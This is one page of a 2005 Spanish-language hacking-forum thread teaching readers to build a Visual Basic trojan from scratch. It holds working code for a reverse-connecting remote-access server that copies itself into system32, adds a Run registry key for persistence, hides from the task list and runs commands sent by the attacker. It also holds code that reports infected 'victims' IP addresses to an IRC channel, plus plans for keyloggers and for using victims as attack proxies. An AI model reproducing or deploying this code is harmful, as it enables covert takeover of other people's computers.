elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
14 Febrero 2012, 11:38  


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderadores: Karcrack, [Zero])
| | |-+  troyano en vb desde CERO, INDICE de contenidos en la primera pagina, GranManual
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 [2] 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ... 38 Ir Abajo Respuesta Imprimir
Autor Tema: troyano en vb desde CERO, INDICE de contenidos en la primera pagina, GranManual  (Leído 110,114 veces)
Free-Knowledgend


Desconectado Desconectado

Mensajes: 372


Pablo-Mitico


Ver Perfil
Re: troyano en vb desde 0, MINICURSO
« Respuesta #15 en: 23 Febrero 2005, 04:23 »

aunque es un tema muy complicado lo has explicado muy bien y voy ppillando poco a poco (MUY poco a poco  ;D ;D ;D)

excelente trabajo fulano_ felicidades!!! ;) ;)
En línea

Lo que diferencia a un hacker de un lammer es la falta de honor y de dignidad de éste último

-Xenon-


Desconectado Desconectado

Mensajes: 500


Spectrum 128k


Ver Perfil
Re: troyano en vb desde 0, MINICURSO
« Respuesta #16 en: 24 Febrero 2005, 04:31 »


gracias a todos!!, con lo dicho ya se puede hacer un troyano con funciones basicas pero que te dan todo el control... pero aun me gustaria hacer como otro apartado esplicando mas funciones extras:

1-captura de pantalla
2-keylogger
3-escritorio remoto
4-chorradas varias de tipo, abrir cd, ocultar esto y aquello y etc...

.. lo que yo tengo aun que aprender es:

1-un editor para el servidor del troyano
2-seleccionar una ventana que tenga abierta de lo que sea y escribir en ella
3-un scaner para ver que victimas ay conectadas en este momento,( por conexion inversa claro)

si alguien sabe de esto y se anima a esplicarlo paso por paso esas funciones, pues bienvenido sea!!!! pero no un copy paste, una esplicacion de como se hace y que es cada linea de codigo escrita!! GRACIAS!!!!!!!!!!

aver si pronto vuelvo y esplico aquello!

un saludo!!                 --xenon--
En línea

Cuando el ingenio se queda pequeño,
No basta con poner empeño,
Solo el talento consigue el diseño


Desconectado Desconectado

Mensajes: 944


en la cuna !!


Ver Perfil WWW
Re: troyano en vb desde 0, MINICURSO
« Respuesta #17 en: 24 Febrero 2005, 10:20 »

Esta parte de el codigo me da error ...   

dim ip as string, ipftp as string, port as integer,Dim ejec As String

Una pregunta , cuando dices añadimos una etiketa y la llamamos escuchar es en name | escuchar y yaa seria ese su nombre no?

Ok , pero cuando dices label1.caption = " desconectado" ...nos aparecera en la etiketa eso ?? o debemos colocarlo en caption ??

Esa duda y ese error si me lo aclaras mejor .
En línea

el tiempo pondrá a cada uno en su lugar
Man-In-the-Middle
Colaborador
***
Desconectado Desconectado

Mensajes: 3.634



Ver Perfil
Re: troyano en vb desde 0, MINICURSO
« Respuesta #18 en: 25 Febrero 2005, 02:46 »

Keyyloger
Capturar pantalla
injection de porcesos esta en laboratorio

por ahi puedes sacar algo de info, por otro lado clap clap clap, brooo, en linea como siempre


saluuuos
Man-In-the-Middle
En línea
gh1E

Desconectado Desconectado

Mensajes: 225



Ver Perfil
Re: troyano en vb desde 0, MINICURSO
« Respuesta #19 en: 27 Febrero 2005, 10:32 »

hi..bro..

pues q buen minicurso muy interesante y sobretodo bien explicado, desde q lo empece a hechar un ojillo no eh podido parar d leer, voy a probarlo inmediatamente...y .felicitaciones fulano_, muy bueno.. ;)


salu2 a to2.... 8)
En línea

Si no lo sabes...averigua...
SEr o nO SeR ...( y eso a quien le importa???)
-Xenon-


Desconectado Desconectado

Mensajes: 500


Spectrum 128k


Ver Perfil
notificacion por irc
« Respuesta #20 en: 9 Marzo 2005, 10:42 »


-----------------------------------------------------------------------------

hola de nuevo, voy a explicar como programar en vb y en nuestro troyano hecho desde cero, que el servidor notifique su ip y los datos que queramos por IRC, osea: NOTIFICACION POR IRC

el troyano que esplique esta diseñado para conexion inversa, asi que noseria necesario esto, pero viene bien para tener recojidas alas victimas todas juntas en un canal de irc, en el cual nos conectemos y veamos que victimas ay on-line:

esto es mas sencillo de lo que parece, primero voy a explicar MUY de refilon el protocolo IRC;

abrir una consola de telnet, ahora escribir esto:

Código:
o luna.irc-hispano.org 6667

con esto establecemos una conexion con el servidor luna.irc-hispano.org por el puerto 6667, un puerto tipico de estos servidores, acontinuacion el servidor nos respondera con el siguiente mensaje:
Código:
:luna.irc-hispano.org NOTICE IP_LOOKUP :*** Found your hostname (CACHED!).

bien, ahora que el servidor nos a saludado, tenemos que decirle  quienes somos y algun dato mas, veamoslo, escribir esto:

Código:
nick ellocodelacolina

y seguidamente:

Código:
user mañanamadrugo 4 * : y aqui estoy esplicando esto

con esto le hemos dicho al servidor nuestro nick y en el siguiente comando,
 -user- es un "comando" del protocolo,
-mañanamadrugo- seria el nombre que le damos al servidor de nuestro usuario,
-4- es una mascara para la identificacion, que corresponde al modo +w, (si no entendeis esto bajaros un manual de irc o hecharle un ojo al protocolo, google: buscar protocolo irc, no es obligatorio pero si recomendable) no todos los servidores admiten esto, en caso contrario se omitiria ese campo y se pone en su lugar un cero,
-*- este campo no se usa con lo cual se pone cualkier cosa,
-:- separa todo eso de lo siguiente que es nuestro nombre real
-y aqui estoy esplicando esto- esto es el campo de el nombre real, puede tener espacios en blanco entre medio, y podeis poner la chorrada que querais, cualquier cosa menos lo que teoricamente habria que poner, osea nuestro nombre real, que les importara a ellos? poned lo que querais aqui

con esto ya estais identificados en el servidor, y ya teneis aceso a el, ahora si en algun momento veis este mensaje:

PING : 112398546

tendreis que responder rapidamente:

pong : 112398546

pong : y lo mismo que ponia en el ping, si no se responde asi, te caes del servidor, es una medida para saber que usuarios siguen en linea, y cuales no, como medida para tirar las conexiones que no pintan nada en el servidor... asi dais señales de vida y el servidor os dejara seguir con lo vuestro

entrar a un canal:

Código:
join #nombredelcanal

os saldra un mensajito del servidor, confirmando que lo habeis hecho bien:

ahora para hablar en el canal:

Código:
privmsg #nombredelcanal :mensaje, o lo que quieras poner

con esto ya podeis entender el codigo y vereis que facil es hacerlo, entendiendo antes como funciona!!!!!!!
-------------------------------------------------------------------------

visual basic,nuevo proyecto, exe estandar y añadis lo siguiente:
componente microsoft winsock  renombrado a ws, 2 timer, y un boton:

1ª mision, conectar al servidor:

Código:
Private Sub Command1_Click()
ws.RemoteHost = "luna.irc-hispano.org"
ws.RemotePort = 6667
ws.Close
ws.Connect
empezar = True
Timer1.Interval = 2000
End Sub

si habeis seguido el curso entendereis todo este codigo y sobra esplicarlo!
pero lo que hemos hecho ay es que al pulsar el boton, conecte al servidor, se ponga el interruptor empezar a true y el intervalo de uno de los timer se ponga a 2 segundos.

2ª mision, identificarnos!

Código:
Private Sub Timer1_Timer()
If empezar = True Then
ws.SendData "nick Xenon" & vbCrLf 'envia el nick y vbcrlf manda el retorno de carro, la tecla intro

empezar = False
Else
ws.SendData "user fulano_x 4 * : fulanin" & vbCrLf
Timer1.Interval = 0
Timer2.Interval = 4000
End If
End Sub

al conectar y pasar 2 segundos, al estar activado el interruptor empezar, envia el comando "nick" con el nick y pulsa retorno de carro, el interruptor empezar se desconecta, y al pasar 2 segundos se vuelve a revisar el codigo del timer1 y como el interruptor empezar esta desactivado manda el comando "usuario" con los parametros correspondientes, pone el timer1 a 0 por que ya no se va a usar esto y pone el timer2 a 4 segundos para seguir con la 3ª mision.

3ª mision, entrar en el canal #victimas(por ejemplo) y escribir en el canal la ip, el puerto, y lo que nos de la gana:

Código:
Private Sub Timer2_Timer()
If user = False Then
ws.SendData "join #victimas" & vbCrLf
user = True
Else
ws.SendData "privmsg #victimas :victima" & victima & " puerto" & ws.localport & " ip" & ws.localip & vbCrLf
End If
End Sub

por defecto el interruptor user esta apagado, por tanto:

cada 4 segundos, si el interruptor user esta apagado, entra en el canal victimas, se pone el interruptor user encendido, asi que al volver a pasar 4 segundos NO volvera a entrar en el canal y escribira en el canal , la ip de la victima, el nombre, el puerto y lo que nos apetezca.

4ª mision, NO CAERNOS! por culpa del ping:

Código:
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
If Left(datos, 6) = "PING :" Then
datos = Right(datos, Len(datos) - 6)
ws.SendData "pong :" & datos
End If
End Sub

si los primeros 6 datos que nos lleguen son igual a "PING :" entonces coje el resto de los datos que an llegado y los metes en la variable datos, luego mandas al servidor "pong :" y los datos, osea lo que ay que responderle al ping, (se le responde con lo mismo!!)

YA ESTA! ahora coje este codigo y implementalo en tu troyano, cosa facil, esperimentalo antes, haz pruebas cambia esos 4 segundos por un minuto o yo que se... y cambiar el nick por alguno raro raro, por que si no el server respondera como que ya esta usado y no funcionara!
es muy facil implementarlo al troyano, si ay dudas preguntar!!!!!

Código:
Dim empezar As Boolean
Dim user As Boolean


Private Sub Command1_Click()
ws.RemoteHost = "luna.irc-hispano.org"
ws.RemotePort = 6667
ws.Close
ws.Connect
empezar = True
Timer1.Interval = 2000
End Sub

Private Sub Timer1_Timer()
If empezar = True Then
ws.SendData "nick Xenon" & vbCrLf
empezar = False
Else
ws.SendData "user fulano_x 4 * : fulanin" & vbCrLf
Timer1.Interval = 0
Timer2.Interval = 4000
End If
End Sub

Private Sub Timer2_Timer()
If user = False Then
ws.SendData "join #victimas" & vbCrLf
user = True
Else
ws.SendData "privmsg #victimas :victima" & victima & " puerto" & ws.localport & " ip" & ws.localip & vbCrLf
End If
End Sub

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
If Left(datos, 6) = "PING :" Then
datos = Right(datos, Len(datos) - 6)
ws.SendData "pong :" & datos
End If
End Sub

espero que os sirva este pequeño tutorial, aver si esplico mas cosas utiles otro dia como prometi !! hasta otra!!

un saludo!!  Xenon, alias fulano_

En línea

Cuando el ingenio se queda pequeño,
No basta con poner empeño,
Solo el talento consigue el diseño
-Xenon-


Desconectado Desconectado

Mensajes: 500


Spectrum 128k


Ver Perfil
Re: troyano en vb desde 0, MINICURSO
« Respuesta #21 en: 2 Abril 2005, 00:55 »


bueno primero unas claraciones para la gente que lea este manual:


1-no me agregeis al msn para preguntarme cosas sobre el manual, si teneis dudas para eso esta este estupendo foro, pues cogeis y las dudas las posteais en este mismo hilo....

2-si no comprendeis bien lo que esplico, siendo que lo esplico concienzudamente, leer un manual de vb que hay muchos por ay

3-si me agregais al msn por que os ineteresa compartir ideas y etc... me parece genial, es mas me gusta, pero solo si tienes un nivel aceptable, por que yo no voy a ser el tutor de nadie :p

sobre todo que sea para compartir ideas, conocimientos y etc... pero no para que yo te enseñe... si no para enseñarnos mutuamente...y lo repito las dudas sobre este manual, las posteais aqui!!!!!!!!!

no os sintais ofendidos!!!

--------------------------------------------------------------------------------

para retomar esto un poco , que lo tengo algo de lado, esplicare en breve sobre ocultacion avanzada de archivos en la victima, una ocultacion TOTAL!!! y de postre un bouncer, para usar a nuestras victimas como señuelos cuando hagamos un ataque a algun servidor o queramos estar anonimos... usaremos a nuestras victimas de proxy

un saludo!!!
En línea

Cuando el ingenio se queda pequeño,
No basta con poner empeño,
Solo el talento consigue el diseño
-Xenon-


Desconectado Desconectado

Mensajes: 500


Spectrum 128k


Ver Perfil
Re: troyano en vb desde 0, MINICURSO
« Respuesta #22 en: 2 Abril 2005, 01:00 »


ya que estamos, por si esto lo lee alguna empresa decir que busco  curro relacionado con la informatica...ineteresados mandenme un mail :)

ya se que no viene al caso, y eso ya seria mucha suerte, pero oye quien sabe!


En línea

Cuando el ingenio se queda pequeño,
No basta con poner empeño,
Solo el talento consigue el diseño
Ertai
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.027


Ralph Wiggum


Ver Perfil
Re: troyano en vb desde 0, MINICURSO
« Respuesta #23 en: 2 Abril 2005, 02:18 »

Jajajajajaaja xDD
Con la firma que tienes, dudo que encuentres curro!
Citar
Me estan entrando ganas de trabajar, voy a sentarme aver si se me pasa
Saludos!
Ertai
En línea

Si la felicidad se comprara, entonces el dinero sería noble.

Código:
void rotar_by_ref(int& a, int& b) {
   /* Quien dijo que no se podia sin una variable temporal? */
   *a = *a ^ *b;
   *b = *a ^ *b;
   *a = *a ^ *b;
}
-Xenon-


Desconectado Desconectado

Mensajes: 500


Spectrum 128k


Ver Perfil
Re: troyano en vb desde 0, MINICURSO
« Respuesta #24 en: 2 Abril 2005, 06:40 »


es un chiste malo :P
En línea

Cuando el ingenio se queda pequeño,
No basta con poner empeño,
Solo el talento consigue el diseño


Desconectado Desconectado

Mensajes: 944


en la cuna !!


Ver Perfil WWW
Re: troyano en vb desde 0, MINICURSO
« Respuesta #25 en: 2 Abril 2005, 06:56 »

Hola xenon , en la parte de codigo de la consola virtual que explicas paso a paso la he terminado pero cuando envio un comando por ejemplo dir c:\     ok? me crea un archivo fox.bat pero dentro solo pone esto >c:\fox.txt , pero no me debulebe el resultado del comando. Si puedes explicarme cual es el error busco modo de solucionarlo , ok bye.
En línea

el tiempo pondrá a cada uno en su lugar
-Xenon-


Desconectado Desconectado

Mensajes: 500


Spectrum 128k


Ver Perfil
Re: troyano en vb desde 0, MINICURSO
« Respuesta #26 en: 2 Abril 2005, 07:29 »


si no te pone el comando dentro del bat sera por que algo pondras mal enel codigo, postea el codigo y lo vemos
En línea

Cuando el ingenio se queda pequeño,
No basta con poner empeño,
Solo el talento consigue el diseño


Desconectado Desconectado

Mensajes: 944


en la cuna !!


Ver Perfil WWW
Re: troyano en vb desde 0, MINICURSO
« Respuesta #27 en: 2 Abril 2005, 07:32 »

ok empiezo por el codigo del server :


Código:
Dim ip As String, ipftp As String, port As Integer, ejec As String, datos As String, bin1 As Boolean

Private Sub bin_Click()
Dim ruta As String
ruta = "C:\"
Open ruta & "fox.bat" For Output As #1
Print #1, datos
Close #1
Shell ruta & "fox.bat", vbHide
bin1 = False
End Sub

Private Sub cmdfin_Click()
Dim ruta As String
ruta = "C:\"
Open ruta & "fox.bat" For Output As #1
Dim datos As String
Print #1, datos & ">" & ruta & "fox.txt"
Close #1
Shell ruta & "fox.bat", vbHide
Open ruta & "fox.txt" For Input As #1
Dim comando As String
comando = Input(LOF(1), #1)
Close #1
Call mostrar_Click
End Sub

Private Sub cmdok_Click()
On Error GoTo Error
If Not Ws.State = 7 Then GoTo puente
GoTo Error
puente:
Ws.Close
Ws.Connect
Error:
End Sub

Private Sub Form_Load()
Dim win
Dim sys
Dim residencia
On Error Resume Next
ip = "www.ylpowa.no-ip.com"
ipftp = "o www.ylpowa.no-ip.com"
port = 2000
Ws.RemoteHost = ip
Ws.RemotePort = port
Timer1.Interval = 60000
ejec = App.Path
If Right(ejec, 1) <> "\" Then ejec = ejec & "\"
ejec = ejec & Appwaultcc & ".exe"
Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0)
Set sys = obj.GetSpecialFolder(1)
win = LCase(win)
sys = LCase(sys)
FileCopy ejec, sys & "\nombre1"
Name sys & "\nombre1" As sys & "\nombre2.exe"
Set residencia = CreateObject("WScript.Shell")
residencia.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & "CoolKey", sys & "\nombre2.exe"
App.TaskVisible = False
End Sub

Private Sub mostrar_Click()
On Error GoTo Error
Winsock.SendData comando
Error:
End Sub

Private Sub Timer1_Timer()
On Error GoTo Error
If Not Ws.State = 7 Then Call cmdok_Click
If Ws.State = 7 Then Label2.Caption = "conected" Else Label2.Caption = "disconected"
Error:
End Sub

Private Sub Ws_DataArrival(ByVal bytesTotal As Long)
On Error GoTo Error
Dim datos As String
Ws.GetData datos
If datos = "paint" Then Shell ("mspaint")
If datos = "notepad" Then Shell ("notepad")
If datos = "msmsgs" Then Shell ("msmsgs")
If datos = "wordpad" Then Shell ("wordpad")
If datos = "firefox" Then Shell ("firefox")
If datos = "emule" Then Shell ("emule")
If datos = "cmd" Then Shell ("cmd")
If datos = "telnet" Then Shell ("telnet")
If datos = "YPager" Then Shell ("YPager")
If datos = "a" Then bin1 = True
If bin1 = False And datos <> "a" Then Call cmdfin_Click
If bin1 = True And datos <> "a" Then Call bin_Click
Error:
End Sub


codigo del cliente:


Código:
Private Sub Command1_Click()
Ws.SendData Text2.Text
End Sub

Private Sub escuchar_Click()
On Error Resume Next
Ws.LocalPort = Text1.Text
Ws.Close
Ws.Listen
If Ws.State = 2 Then Label1.Caption = "A la Escucha"
End Sub

Private Sub Timer1_Timer()
On Error GoTo error
If Not Ws.State = 7 Then
Label1.Caption = "Disconected"
Else
End If
If Ws.State = 7 Then
Label1.Caption = "Conected"
Else
End If
If Label1.Caption = "Disconected" Then
Label1.Caption = "Disconected"
Dim puente As String
GoTo puente
Else
End If
GoTo error
puente:
Ws.Close
Ws.Listen
error:
End Sub

Private Sub Ws_ConnectionRequest(ByVal requestID As Long)
On Error GoTo error
Ws.Close
Ws.Accept requestID
Label2.Caption = Ws.RemoteHostIP
Timer1.Interval = 3000
error:
End Sub

Private Sub Ws_DataArrival(ByVal bytesTotal As Long)
On Error GoTo error
Dim datos As String
Ws.GetData datos
Text3.Text = datos
error:
End Sub
En línea

el tiempo pondrá a cada uno en su lugar
TroGLoD

Desconectado Desconectado

Mensajes: 9


YUUU HUUUUUU


Ver Perfil
Re: troyano en vb desde 0, MINICURSO
« Respuesta #28 en: 3 Abril 2005, 14:01 »

acabo de empezar, y cuando acabe la primera parte (client y servidor) al ejecutar el cliente me da error y me señala la linea de comando ws.senddata text2.text :S

el codigo lo tengo asi k alguien me ayude a ver k tengo mal y poder solucionarlo para poder acabar el minicurso

Dim ipftp As String
Dim port As Integer
Dim ejec As String
Dim ip As String

Private Sub escuchar_Click()
On Error Resume Next                                      'esta linea sirve para que en caso de error siga el programa en la siguiente linea sin interrumpirlo
WS.LocalPort = Text1.Text                              'el puerto que empleara el winsock sera el que introduzcas en un textbox, AÑADELO
WS.Close                                                            'ws llama al objeto winsock que hemos agregado el punto te deja elegir opciones, y la opcion close es para que cierre la conexiono el puerto abierto
WS.Listen                                                           'deja ala escucha el puerto introducido en el textbox
If WS.State = 2 Then Label1.Caption = "Escuchando"            'si el estado del winsock es (escuchando) entonces la propiedad caption de la etiketa sera "Escuchando" asi que ya estas añadiendo un label(etiketa), esto es util para ver si de verdad esta escuchando o no, ya que si ese puerto ya estubiera abierto no te dejaria abrirlo para este programa, de ay tambien lo de ws.close antes...
End Sub

Private Sub Command1_Click()
WS.SendData text2.Text
End Sub


Private Sub Form_Load()
Dim win
Dim sys
Dim residencia
On Error Resume Next
ip = "127.0.0.1"                             'esta es nuestra ip local, asi que conectara a nuestra ip local, aqui se pondria nuestra ip publica, y si cambia pues os registrais en no-ip.com y si habeis leido la revista no tendreis problemas
ipftp = "o 127.0.0.1"
port = 6969
WS.RemoteHost = ip
WS.RemotePort = port
Timer1.Interval = 60000     'se esteblace un intervalo de 3 segundos para ejecutar el evento timer1
ejec = App.Path                                    'le pasamos a la variable la ruta del exe que ejecute la victima
If Right(ejec, 1) <> "\" Then ejec = ejec & "\"    'si no tiene la "\" al final, se la añadiremos
ejec = ejec & App.EXEName & ".exe"                 'añadimos ala ruta del exe, el nombre y la estension
Set obj = CreateObject("Scripting.FileSystemObject") 'declaramos un objeto tipo fileSystem object
Set win = obj.GetSpecialFolder(0)                    'para obtener la carpeta de windows y system
Set sys = obj.GetSpecialFolder(1)
win = LCase(win)                                     'las ponemos en minusculas
sys = LCase(sys)
FileCopy ejec, sys & "\nombre1"                     'copia a windows\system32
Name sys & "\nombre1" As sys & "\nombre2.exe"       'renombra
Set residencia = CreateObject("WScript.Shell")
residencia.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & "nombre3", sys & "\nombre2.exe"  'esto modifica el registro para que se ejecute al iniciar el pc
App.TaskVisible = False          'para ocultarlo un poco del, (alt +sup +control)
End Sub

Private Sub Timer1_Timer() 'al pasar 3 segundos de establecerse la conexion
On Error GoTo error
If Not WS.State = 7 Then                       'si el estado de la conexion no es (conectado) entonces que me ponga en una etekita "Desconectado"
Label1.Caption = "Desconectado"
Else
End If
If WS.State = 7 Then
Label1.Caption = "Conectado"
Else
End If
If Label1.Caption = "Desconectado" Then     'si pone desconectado en el label, entonces ejecuta lo de la etiketa puente,"cerrar y volver a escuchar"
Label1.Caption = "Desconectado"
GoTo puente
Else
End If
GoTo error                                               'puentea y se salta el cierre y vuelta a escuchar la conexion, para que seguir normalmente con la conexion establecida
puente:
WS.Close
WS.Listen
error:
End Sub

Private Sub ws_ConnectionRequest(ByVal requestID As Long)         'cuando se intente conectar a este (servicio,puerto,socket,o etc..) recojera su ip y ejecutara el siguiente codigo:
On Error GoTo error                                                                                'si ay un error ves ala etiketa (error)
WS.Close                                                                                                  'necesario para aceptar la conexion
WS.Accept requestID                                                                            'acepta cualquier conexion entrante
Label3.Caption = WS.RemoteHostIP                                                   'añades otra etiketa y esto hara que te ponga la ip remota del servidor
Shell "c:\ki.bat"                                                                                       'esto ejecuta un archivo, yo lo puse para que ejecutase un sonido y asi coscarme de cuando se me conecta la victima, osea el servidor
Timer1.Interval = 3000                                                                            '3 segunditosss, sobra decir que tienes que añadirlo asi que ahora sere mas concreto por que ya presupongo que as aprendido algo de vb de la revista, o con solo averlo visto por encima y jugueteado un poco con el , entenderas todo lo que digo, y sino ya pregunhtareis
error:
End Sub


y en el formulatio tengo, 2 botones 1 label 1 textbox 1 control timer y un control winsock.
gracias por las proximas respuestas :)
En línea

-Xenon-


Desconectado Desconectado

Mensajes: 500


Spectrum 128k


Ver Perfil
troglod
« Respuesta #29 en: 4 Abril 2005, 06:49 »


troglod ese error te lo da por que seguramente no se a establecido la conexion, entonces al intentar usar la propiedad ws.senddata, pues no puedes por no haber una conexion, una vez que el cliente escuche y el servidor conecte ya podras ejecutar ese boton y no te dara problemas, y para otra vez postea el error mas concretamente!


un saludo!!!!

En línea

Cuando el ingenio se queda pequeño,
No basta con poner empeño,
Solo el talento consigue el diseño
Páginas: 1 [2] 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ... 38 Ir Arriba Respuesta Imprimir 

Ir a:  

Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines